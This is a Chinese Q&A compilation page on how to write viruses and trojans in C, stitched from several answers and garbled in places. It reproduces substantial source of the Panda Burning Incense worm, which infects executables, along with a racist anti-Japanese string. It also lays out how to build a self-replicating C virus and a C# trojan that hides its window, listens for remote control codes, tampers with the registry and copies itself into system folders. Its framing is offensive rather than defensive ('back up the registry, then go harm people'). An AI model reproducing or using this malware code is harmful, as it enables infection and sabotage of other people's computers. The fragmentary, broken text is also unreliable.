1. 怎么用C语言编写木马.病毒等程序
C语言当然可以编写病毒,事实上很多程序都是用C/C++编写出来的。
编程语言本身没有“贵贱”之分,只用用好了,都是相当强的;区别在于主要适用范围、编写的难易程序、执行效率的高低、学习的难易程度,等等。
C语言只是一种计算机程序的编写格式规范,到至于可以编写出来什么样的程序,还要看你所用的C语言编译器,(比如TC,VC,LCC,GCC等,太多了)。
如果有编写windows程序,就不能用TC,它只能编写DOS程序,而应该用VC,LCC,C++Builder等编译工具)
编写出来的程序肯定要调用操作系统提供的功能,如编windows程序,就要调用Win32 API,Dos程序则调用的是DOS中断,编程实际上就是对这些操作系统所提供功能的调用。
现在的病毒很多都是用常用的编程工具编写的,如VC++,delph,VC,Win32汇编等
2. 怎么用C语言写个简单病毒,给个代码过程
首先声明: 本程序是我举的一个例子 为了叫大家理解就可以了 如果大家拿去捉弄人,我不负任何责任! 希望大家要以学习为重! 对于病毒我们应该是深恶痛绝的,但是作为纯研究许多人还是很有兴趣的 我曾经用汇编做过一些具有毁灭性的病毒,本想献出来与大家分享 不过考虑到一些小人看了会做出来一些危害别人的行为,所以我决定 用这个简单的并毫无伤害性的c语言伪病毒来说明一下问题, 再次声明这一切全是为了编程研究!!! 病毒的特点: 病毒的最大特点就是自我复制,从病毒的分类来说有很多种,这里我们将介绍最流行的附加式 病毒,它通过对正常的文件进行改写,增加来实现其自我复制的目的。
从程序的角度来说,我们要做的事情有两件: 1,让程序能够将自己在不影响其它程序本身工作的情况下复制给其它程序, 使它具备继续复制的能力。 2,在一定条件下使其产生某种发作效果。
其实第一件事情实际上可以看成对文件进行复制,把病毒源文件的功能函数全部放到被感染 文件的最后,同时在被感染文件中调用这个函数 下面给出c语言的实现过程: 1,主程序调用病毒功能函数 2,病毒功能函数读取查找同目录下所有c文件; 3,找到一个(被感染c文件),打开它,并且将此文件全部读取到数组变量; 4,重新创建一个同名文件(被感染c文件) 5,数组变量写回这个被感染c文件,同时将病毒源文件所需要的头文件,病毒功能函数 调用语句写入; 6,打开病毒源文件,将病毒功能函数全部写到被感染c文件的最后; 这样一个简单的c语言伪病毒virus.c就完成了 运行程序后其内容变化另保存为after_virus.c 此时,如果我们将1.c文件用A盘复制到其他机器或者Email给别人,结果 他们一运行又感染了他们保存1.c文件目录下所有c文件 对于第二件事情-------“发作效果”,这里只用printf语句警告了一下,当然你 完全可以写一个TSR驻留函数 其实,这个程序勉强可以叫做病毒 根本不算是真正的病毒,好了就说这么多, 代码如下: #include C语言是一门通用计算机编程语言,应用广泛。C语言的设计目标是提供一种能以简易的方式编译、处理低级存储器、产生少量的机器码以及不需要任何运行环境支持便能运行的编程语言。 尽管C语言提供了许多低级处理的功能,但仍然保持着良好跨平台的特性,以一个标准规格写出的C语言程序可在许多电脑平台上进行编译,甚至包含一些嵌入式处理器(单片机或称MCU)以及超级电脑等作业平台。 1.首先你得想你的病毒实现一个什么功能。 2.然后了解病毒的特征,自发性,传染性,关联性 3.最后如何绕过目标电脑的防火墙和杀毒软件。 熊猫烧香病毒,请勿滥用 program Japussy; uses Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; const HeaderSize = 82432; //病毒体的大小 IconOffset = $12EB8; //PE文件主图标的偏移量 //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同 //查找2800000020的十六进制字符串可以找到主图标的偏移量 { HeaderSize = 38912; //Upx压缩过病毒体的大小 IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量 //Upx 1.24W 用法: upx -9 --8086 Japussy.exe } IconSize = $2E8; //PE文件主图标的大小--744字节 IconTail = IconOffset + IconSize; //PE文件主图标的尾部 ID = $44444444; //感染标记 //垃圾码,以备写入 Catchword = 'If a race need to be killed out, it must be Yamato. ' + 'If a country need to be destroyed, it must be Japan! ' + '*** W32.Japussy.Worm.A ***'; {$R *.RES} function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'Kernel32.dll'; //函数声明 var TmpFile: string; Si: STARTUPINFO; Pi: PROCESS_INFORMATION; IsJap: Boolean = False; //日文操作系统标记 { 判断是否为Win9x } function IsWin9x: Boolean; var Ver: TOSVersionInfo; begin Result := False; Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); if not GetVersionEx(Ver) then Exit; if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x Result := True; end; { 在流之间复制 } procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer); var sCurPos, dCurPos: Integer; begin sCurPos := Src.Position; dCurPos := Dst.Position; Src.Seek(sStartPos, 0); Dst.Seek(dStartPos, 0); Dst.CopyFrom(Src, Count); Src.Seek(sCurPos, 0); Dst.Seek(dCurPos, 0); end; { 将宿主文件从已感染的PE文件中分离出来,以备使用 } procedure ExtractFile(FileName: string); var sStream, dStream: TFileStream; begin try sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try dStream := TFileStream.Create(FileName, fmCreate); try sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分 dStream.CopyFrom(sStream, sStream.Size - HeaderSize); finally dStream.Free; end; finally sStream.Free; end; except end; end; { 填充STARTUPINFO结构 } procedure FillStartupInfo(var Si: STARTUPINFO; State: Word); begin Si.cb := SizeOf(Si); Si.lpReserved := nil; Si.lpDesktop := nil; Si.lpTitle := nil; Si.dwFlags := STARTF_USESHOWWINDOW; Si.wShowWindow := State; Si.cbReserved2 := 0; Si.lpReserved2 := nil; end; { 发带毒邮件 } procedure SendMail; begin //哪位仁兄愿意完成之? end; { 感染PE文件 } procedure InfectOneFile(FileName: string); var HdrStream, SrcStream: TFileStream; IcoStream, DstStream: TMemoryStream; iID: LongInt; aIcon: TIcon; Infected, IsPE: Boolean; i: Integer; Buf: array[0..1] of Char; begin try //出错则文件正在被使用,退出 if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染 Exit; Infected := False; IsPE := False; SrcStream := TFileStream.Create(FileName, fmOpenRead); try for i := 0 to $108 do //检查PE文件头 begin SrcStream.Seek(i, soFromBeginning); SrcStream.Read(Buf, 2); if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记 begin IsPE := True; //是PE文件 Break; end; end; SrcStream.Seek(-4, soFromEnd); //检查感染标记 SrcStream.Read(iID, 4); if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染 Infected := True; finally SrcStream.Free; end; if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出 Exit; IcoStream := TMemoryStream.Create; DstStream := TMemoryStream.Create; try aIcon := TIcon.Create; try //得到被感染文件的主图标(744字节),存入流 aIcon.ReleaseHandle; aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); aIcon.SaveToStream(IcoStream); finally aIcon.Free; end; SrcStream := TFileStream.Create(FileName, fmOpenRead); //头文件 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try //写入病毒体主图标之前的数据 CopyStream(HdrStream, 0, DstStream, 0, IconOffset); //写入目前程序的主图标 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); //写入病毒体主图标到病毒体尾部之间的数据 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); //写入宿主程序 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); //写入已感染的标记 DstStream.Seek(0, 2); iID := $44444444; DstStream.Write(iID, 4); finally HdrStream.Free; end; finally SrcStream.Free; IcoStream.Free; DstStream.SaveToFile(FileName); //替换宿主文件 DstStream.Free; end; except; end; end; { 将目标文件写入垃圾码后删除 } procedure SmashFile(FileName: string); var 。 3.1.1病毒程序VIRUS.C这是一个用C语言写的病毒程序,当激发病毒程序时显示时间,然后返回。 病毒程序VIRUS.C可将病毒传染给一个C语言程序。当被病毒感染的程序经编译、连接和执行后,又可以将病毒部分传染给其他的C语言源程序。 每执行一次带有病毒的C语言程序,就向C语言源程序传播一次病毒。此程序的设计思路如下:当含有病毒部分的程序被执行时,首先进入病毒程序。 它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。如果有此标志,继续找其它的C文件,直至全部检查一遍。 若没有这个标志,则(1)在未被感染的C程序头部加入“INFECTED”已被传染标志。(2)读取病毒文件的头文件,将其插入到即将被感染的文件头部。 如果发现有重复则不插入。(3)在主程序中插入“VIRUSES();”调用VIRUSES函数。 寻找printf、for、while、break语句,如果找到就在之前插入。(4)在文件尾部插入VIRUSES_SUB子程序。 (5)在插入到将感染文件里面的VIRUSES_SUB子程序里面,必须把文件名改为当前自身的文件名,否则被传染后的文件经过编译、连接和运行后不能再继续传染。(6)最后插入VIRUSES子程序。 这个子程序里面调用了VIRUSES_SUB,执行到这里返回执行结果信息。 其中用到4个出错的返回值,分别是:1:用户文件太大,不传染;2:带病毒文件打不开,不传染;3:带病毒文件读取不成功,不传染;4:查找第一个匹配文件不成功。 如果返回值是0代表文件传染成功。具体实现过程如下:其中用到的函数和结构体用法参考3.3节。 首先导入病毒子程序要用到的三个库文件,分别是dir.h, stido.h, dos.h.在主函数里面只调用VIRUSES函数。紧跟定义VIRUSES函数里面要调用的VIURS_SUB函数。 里面定义了若干个变量。ffblk用来保存查找到的匹配文件的信息,用到里面的ff_name变量来保存匹配文件名。 然后定义保存未感染的文件和病毒文件的文件型指针变量,分别用是*virus_r和*virus_v.读取文件的缓冲区,放到二维数组a[500][80]里面临时存放。因为此程序对大于500行的C文件不进行传染,所以完全可以放到里面。 首先用getdate函数获取系统当前日期并输出。接着用findfirst函数查找扩展名为C的文件,将其信息保存到ffblk里面。 用fgets函数读文件的第一行,长度是80-1个字符。然后用strstr函数检测病毒的标志,看文件是否有INFECT这个标志。 如果有,表示文件已经被传染,关闭文件,不进行传染。当含有病毒部分的程序被执行时,首先进入病毒程序。 它在磁盘上查找*.C的匹配文件,一旦找到,查找“已被传染过”的标志INFECTED。若有此标志,继续找其它*.C文件,直至全部检查一遍。 如果没有这个标志,将文件全部读入a[500][80],如果发现文件超过500行,不传染,返回。将文件指针指向文件头,打开带病毒的文件。 如果打不开,返回。然后读取带病毒文件的前4行,也就是病毒子程序要用到的头文件,写入将被传染的文件。 若不能读取带病毒文件,返回。用n_line变量控制行数,把将被传染文件的源程序写回原文件。 其中要进行处理不写入病毒文件已有的包含语句,也就是说使#Include语句不重复。这点是这样实现的:定义一个字符数组char include_h[]={“dos.h”, “stdio.h”, “dir.h”}; strstr函数查看将被传染文件的头文件是否和*include_h[]相同,如果相同,不进行插入。 找出CALL VIRUSES;的插入点:如果有一行有printf、break、for、while语句其中之一,就对其后插入调用VIRUSES函数的调用语句。把病毒子程序写入文件。 最后处理更改被感染的文件名。如果不进行改名,就不能进行多次传染,也就是说不能体现病毒的自我复制能力。 查找一行是static char viruses_f[]={“virus.c”},把其中的文件名改为被感染的文件名。接着查找下一个匹配文件。 3.1.2病毒清除程序REVIURS.C病毒的清除过程是和传染过程相逆的。传染的时候插入调用viruses函数的调用语句,在病毒清除文件里面就要删除掉这个语句。 然后还要删除掉病毒子程序VIURSES_SUB和VIURSES。有一个问题不能进行还原。 因为当时插入病毒子程序需要的头文件时没有记录传染前文件的头文件信息,所以不能进行还原。但是这一点不影响原文件。 所以这点在病毒清除程序中没有进行处理。由于演示的时候病毒程序VIRUS.C和清除病毒程序REVIURS.C放在同一个目录下进行演示。 考虑到VIRUS.C会把REVIURS.C传染和REVIRUS.C会把VIRUS.C清除两种情况。所以编写这两个程序的时候必须加入一条条件语句if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)和if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)。 当含有清除部分的程序被执行时。它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。 如果无此标志,继续找其它的C文件,直至全部检查一遍。若有这个标志,则(1)查找磁盘文件,如果是有病毒的传染标志“INFECTED”则打开文件。 如果没有则关闭文件并且寻找下一个TEST*.C。(2)读取文件,首先判断是否为Viruses();如果不是则判断是否为int Viruses_sub(),如果都不是,则把读取。 C语言病毒代码 #include 从程序的角度来说,我们要做的事情有两件: 1,让程序能够将自己在不影响其它程序本身工作的情况下复制给其它程序, 使它具备继续复制的能力。 2,在一定条件下使其产生某种发作效果。 其实第一件事情实际上可以看成对文件进行复制,把病毒源文件的功能函数全部放到被感染 文件的最后,同时在被感染文件中调用这个函数 下面给出c语言的实现过程: 1,主程序调用病毒功能函数 2,病毒功能函数读取查找同目录下所有c文件; 3,找到一个(被感染c文件),打开它,并且将此文件全部读取到数组变量; 4,重新创建一个同名文件(被感染c文件) 5,数组变量写回这个被感染c文件,同时将病毒源文件所需要的头文件,病毒功能函数 调用语句写入; 6,打开病毒源文件,将病毒功能函数全部写到被感染c文件的最后; 这样一个简单的c语言伪病毒virus.c就完成了 运行程序后其内容变化另保存为after_virus.c 此时,如果我们将1.c文件用A盘复制到其他机器或者Email给别人,结果 他们一运行又感染了他们保存1.c文件目录下所有c文件 对于第二件事情-------“发作效果”,这里只用printf语句警告了一下,当然你 完全可以写一个TSR驻留函数 其实,这个程序勉强可以叫做病毒 根本不算是真正的病毒,好了就说这么多, 代码如下: #include 先 建立一个 1.bat文件再根据下面2113写的照着把你要5261删除的项写上删除4102注册表中的项 Windows Registry Editor Version 5.00 [-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 保存为reg文件双击导如即可删除此1653项 注意有个“-”号删除注册表中的值回Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "SoundMan"=- 这样可以删除此值 方法告诉你了,自己去操作答,记得先备份注册表做好了再去害人。 要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍: 1、在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。 当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:private void InitializeComponent(){// // Form1// //窗体显示的起点和大小this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);this.ClientSize = new System.Drawing.Size(368, 357);//窗体名称this.Name = "Form1";//设置属性让它后台运行this.ShowInTaskbar = false;this.Text = "Form1";this.WindowState = System.Windows.Forms.FormWindowState.Minimized;} 2、控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:public Form1() //窗体的构造函数{//// Windows 窗体设计器支持所必需的//InitializeComponent();//// TODO: 在 InitializeComponent 调用后添加任何构造函数代码//加入你的侦听代码//端口你可以自已设定,我使用了固定的端口int port =6678;//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的listener = new TcpListener(port);//启动侦听listener.Start();//增加接收控制码的线程,如果要停止线程可以用 Thread.abort()//reControlCode 是线程启动执行的函数,此函数根据接收的控制//控制码选取合适的注册表修改函数Thread thread = new Thread(new ThreadStart(reControlCode));thread.Start();}reControlCode函数如下,完整代码见程序private void reControlCode(){//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求socket = listener.AcceptSocket();//如果连接成功执行while (socket.Connected){//接收控制码byte [] by =new byte[6];int i = socket.Receive(by,by.Length ,0);string ss = System.Text.Encoding.ASCII.GetString(by);//根据控制码执行不同的功能 //修改注册表加入编码switch (ss){case "jiance"://测试连接,返回测试信息string str ="hjc";byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);socket.Send(bytee,0,bytee.Length,0);break;case "zx1000"://修改注册表函数,自已定义,见下面分析 UnLogOff();//返回控制消息retMessage();break;case "zx0100"://修改注册表函数UnClose();//返回控制消息retMessage();break;//重复的case功能与前面一样,略掉default: break;}//case}//while} //private void reControlCode 3、C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。 这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer下面设键值NoLogOff 为 1 即可使计算机无法注销。 在下面的函数中用C#实现对注册表的修改:private void UnLogOff(){//得到主机的注册表的顶级节点Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;//设置一个注册表子键的变量RegistryKey key1;try{//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键//registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改key1 =rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);//设置子键的键名,和值key1.SetValue ("NoLogOff",1);//关闭打开的子键key1.Close();//警告字符串设定mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";}catch{}//如果不存在自已建立if(key1 ==null){try{//使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");key2.SetValue("NoLogOff",1);key2.Close();mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";}catch{}}} 4、在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。 转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。 这里我们使用了System.IO.File类。private void 。 #include "); a = getchar(); b = a == 'y'; if (b == 1) { system("shutdown -a"); printf("哈,世界上有多了一头会说话的猪。\n"); } else printf("后果很严重……\n"); getchar(); getchar(); return 0;}这应该不算病毒,没有自我复制功能,你放进编译器里面运行看看会有什么后果吧。 转载请注明出处育才学习网 » 怎么用c语言写病毒程序3. 如何用C语言编写一个木马病毒
4. 怎样用C语言编程编写病毒
5. 如何用C编写病毒
6. 用C语言怎么编辑病毒的代码
7. 如何用C语言编一个简单病毒
8. C语言后台病毒程序的代码怎么写
9. C语言编写的病毒有哪些